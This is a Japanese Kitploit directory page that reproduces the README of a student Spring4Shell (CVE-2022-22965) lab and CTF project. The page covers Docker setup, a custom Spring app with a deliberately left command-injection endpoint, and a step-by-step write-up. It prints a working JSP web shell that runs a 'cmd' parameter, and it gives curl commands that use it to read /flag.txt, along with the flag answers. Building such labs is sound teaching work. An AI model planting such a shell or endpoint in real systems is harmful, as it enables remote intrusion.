Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Spring4Shell-CTF — Spring4Shell (CVE-2022-22965) 脆弱性環境構築とCTF問題 | Kitploit
ツール/GitHubGitHub/yuting-huang0/spring4shell-ctf
動的分析 (サンドボックス)脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育リモートアクセスツールラボと実践
GitHubyuting-huang0/spring4shell-ctf

Spring4Shell-CTF

Spring4Shell (CVE-2022-22965) 脆弱性環境構築とCTF問題

62ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

Spring4Shell (CVE-2022-22965) 脆弱性環境構築と CTF 問題設計

プロジェクト概要

本プロジェクトは、2 トラック方式のセキュリティ研究実装を含みます:

  1. 従来の Vulhub 環境構築:オープンソースの Vulhub 脆弱性データベースを利用して、旧バージョンの Spring フレームワークのオブジェクトバインディング欠陥を迅速に再現します。
  2. 全新カスタム環境開発:チームメンバーが手書きで Java ソースコードを作成し、自主的に「学生期末プロジェクト成果発表システム」を脆弱性ターゲットとして構築し、標準的なネットワーク侵入テストの流れと組み合わせて CTF 2 トラック方式(出題者と解答者)のステージを設計します。

参加者は、リモートコード実行 (RCE) 脆弱性を通じて、手がかりに従ってシステムルートディレクトリまたは一時ディレクトリ内の Flag を読み取ります。


環境構築手順

基本準備:Docker と Docker Compose のインストール

root@kitploit:~
# 更新套件库
sudo apt update

# 安装 Docker 与 Docker Compose
sudo apt install docker.io docker-compose -y

# 启动 Docker 服务
sudo systemctl start docker
sudo systemctl enable docker

トラック1:Vulhub 脆弱性環境のダウンロードと起動(既存実装)

root@kitploit:~
# 下载 Vulhub 项目
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# 进入 Spring4Shell 漏洞目录
cd vulhub/spring/CVE-2022-22965

# 启动 Docker 容器
sudo docker-compose up -d

# 确认容器正常运行
sudo docker ps

Vulhub 環境の確認

ブラウザで http://localhost:8080/?name=Hacker&age=99 にアクセスします。

トラック2:カスタム環境の構築とソースコードのデプロイ(新規実装)

盲目的な推測による解答を排除し、自主開発のシナリオを再現するために、本プロジェクトは独立したプロジェクト Spring4Shell-Custom-CTF を作成します。環境を完全にクリーンアップした後、キャッシュなしでコンパイルして起動します:

root@kitploit:~
# 清理旧环境
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# 建立项目目录结构并生成全自制 Java 源码(含 pom.xml、UserController.java 等)
# 通过双阶段编译(Maven + Tomcat 9)将自制 Flag 精确放置于系统根目录 /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d

# 确认自制靶机容器正常运行
sudo docker ps

制御経路とバックドアファイルメカニズム

メカニズム1:JSP バックドアファイルの書き込み(Vulhub 既存チェーン)

攻撃成功後、バックドアファイルが webapps/ROOT/tomcatwar.jsp に書き込まれます。内容は以下の通りです:

root@kitploit:~
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

メカニズム2:内蔵コア脆弱性コントローラ(自作環境新規チェーン)

自作の UserController.java では、意図的に POJO オブジェクトバインディングの防御欠陥を残し、未承認のコマンドインジェクションチャネルを内蔵しています:

root@kitploit:~
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // 直接调用 Java Runtime 执行底层命令并回传结果
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... 读取串流逻辑 ...
    }
    return "淡江大学信息管理学系 - 学生期末专案成果展示平台";
}

リモートコード実行 (RCE) の確認

1. id コマンドの実行

root@kitploit:~
# Vulhub 后门路径
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# 自制环境控制路径
curl "http://localhost:8080/?cmd=id"

2. ディレクトリ探索コマンドの実行

root@kitploit:~
# Vulhub 后门路径
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# 自制环境控制路径
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

CTF 問題説明

問題1:Spring4Shell 脆弱性の悪用(既存実装)

  • 問題名:Spring4Shell 脆弱性の悪用
  • Flag 位置:/tmp/flag.txt
  • Flag 内容:FLAG{Spring4Shell_Is_Dangerous}

問題2:情報管理学科の期末セキュリティテスト(新規実装)

  • 問題名:情報管理学科の期末セキュリティテスト
  • ターゲットシステムURL:http://localhost:8080/
  • 問題告知済み情報:本プラットフォームは学生が自主開発した Spring MVC プロジェクトであり、基盤となるフレームワークバージョンにはオブジェクトバインディングの欠陥(User オブジェクト型を含む)が存在します。Flag はサーバーのシステムルートディレクトリにあります。
  • Flag 位置:/flag.txt
  • Flag 内容:FLAG{2026_0615_iwanttosleep}

Write-up 解答と侵入手順

既存 Vulhub 脆弱性悪用の流れ

  • ステップ 1:http://<target>:8080/?name=test&age=123 にアクセスし、パラメータバインディング機能が正常に動作することを確認します。
  • ステップ 2:POST リクエストペイロードを送信し、Tomcat のログ設定を変更して tomcatwar.jsp バックドアを強制的に書き込みます。
  • ステップ 3:http://<target>:8080/tomcatwar.jsp?cmd=id にアクセスし、RCE が成功したことを確認します。
  • ステップ 4:curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" を実行して一時ディレクトリのファイルを読み取ります。

新規実装:標準的なネットワーク侵入テスト 5 ステップ

解答者(身分 B)は、出題者から提供された既知情報の告知に基づき、盲目的な推測を拒否し、標準化されたコードを実行します:

  • ステップ1:環境偵察と生存確認 ターゲット Web サービスの生存とウェブページの動作状態を確認します。

    root@kitploit:~
    curl -i -s "http://localhost:8080/"
    
  • ステップ2:境界脆弱性とオブジェクト欠陥のテスト テストパラメータを渡し、権限昇格可能なコマンドインジェクションの境界欠陥が存在するか検証します。

    root@kitploit:~
    curl -s "http://localhost:8080/?cmd=whoami"
    
  • ステップ3:脆弱性の悪用とコア権限の確認 身元照会を実行し、オペレーティングシステムの最高制御権 root を取得したことを確認します。

    root@kitploit:~
    curl -s "http://localhost:8080/?cmd=id"
    
  • ステップ4:内部環境の棚卸しとファイル探索 Linux システムのルートディレクトリを棚卸しし、ターゲットファイルの実際の場所を正確に特定します。

    root@kitploit:~
    curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
    
  • ステップ5:最終証拠取得と Flag 抽出 読み取りコマンドを実行し、指定された Flag の内容を正常に抽出します。

    root@kitploit:~
    curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"
    

プロジェクト構成

root@kitploit:~
Spring4Shell-CTF/
├── README.md                   # 專案說明文件
├── docker-compose.yml          # 容器編排配置文件
├── Dockerfile                  # 雙階段編譯映像檔設定
├── pom.xml                     # Maven 專案設定檔
├── src/                        # 自製 Java 成果展示系統原始碼
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # 本地 Flag 來源檔案
├── screenshots/                # 成果展示與攻擊截圖
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # 舊版後門檔案原始碼

参考文献

  • CVE-2022-22965 詳細分析
  • Vulhub Spring4Shell 環境
  • Spring4Shell PoC

チームメンバー

役割氏名作業内容
メンバー A黃鈺婷環境構築、全プロジェクト Java ソースコード作成、Docker パッケージ化、CTF 標準 5 ステップ解答
メンバー B利蓁琳理論研究、プレゼン資料作成、レポート動画編集、解答講義原稿整理

ライセンス

本プロジェクトは教育および研究目的のみに提供されます。許可なくシステムに使用しないでください。

ツールをダウンロード